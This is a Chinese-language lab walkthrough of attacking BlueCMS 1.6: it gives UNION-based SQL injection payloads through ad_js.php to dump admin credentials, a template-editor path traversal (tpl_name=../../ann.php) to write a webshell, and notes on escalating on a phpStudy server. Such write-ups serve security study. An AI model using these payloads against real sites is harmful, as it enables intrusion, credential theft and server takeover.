万变不离其宗-掌控者靶场之bluecms1.6漏洞

拿到题 睁大眼就能看见底下的 bluecms 1.6  百度了一下漏洞位置  学习了PW的姿势

SQL注入位置

http://59.63.200.79:8003/bluecms/uploads/ad_js.php?ad_id=1

Order by 7 字段长度为7

注入表名payload:

ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()

注入字段payload:

ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626c75655f61646d696e

这里出了个问题 如下图：   blue_admin  被包住了 使用反引号 是绕不过去的  解决办法是字符串转16进制来解决

注入账户密码payload:

ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(admin_name,0x3a,pwd)%20from%20blue_admin

这里注入的结果是要用查看源代码的方式:(目前没搞懂为什么有些地方要查看源代码才能看报错回显)

cmd5解密后答案为   123abcufo  怀疑是有人故意改的 不然掌控也太坑了 搞这个密码，浪费我一块钱！！

后台拿shell

---

进入后台 检查了一下 发现有fck的上传组件  这块是漏洞的 不过要本地构造 我记得 没测试哈。。

系统设置里面看见了一个  数据库备份 和模板管理 

记得之前研究dedecms的时候 有用模板来改写shell和 aspcms的提权也可以用到模板来写  

Sql备份这块之前有记得 搞什么系统的时候 备份可以改名 然后直接拿shell

一些时间尝试后,  模板存在 跨目录访问权限 ，当然也靠网上给的一些姿势 自己只是觉得这块可能出发问题 但是没他们说的这么猛

点击右键ann.htm的编辑 新建一个链接出来，

http://59.63.200.79:8003/bluecms/uploads/admin/tpl_manage.php?act=edit&tpl_name=ann.htm

看见语句 tpl_name=ann.htm   这里构造 ../../ann.php

可直接写入，访问地址为 根目录的 ann.php  （关于这个思路 我认为是肯定要本地部署才能猜出来的 毕竟我能想到跨目录改写，肯定猜不出 ann.htm所对应调用的文件名是什么。。 PS:测试了创建了一个不存在的文件名，以为可以直接强制写入新文件，测试下来发现是不行的！）

写入连接蚂剑

shell提权服务器

---

Phptudy 就是猛，永远的跨目录，永远的高权限. 要是换个宝塔，我现在能力还真没办法想着去K服务器了

没啥技术性说法，也没啥姿势可谈，小三句 直接插入完成。

看看服务器端口号是多少

给出查看语句  

Tasklist -svc

Netstat -ano

END.....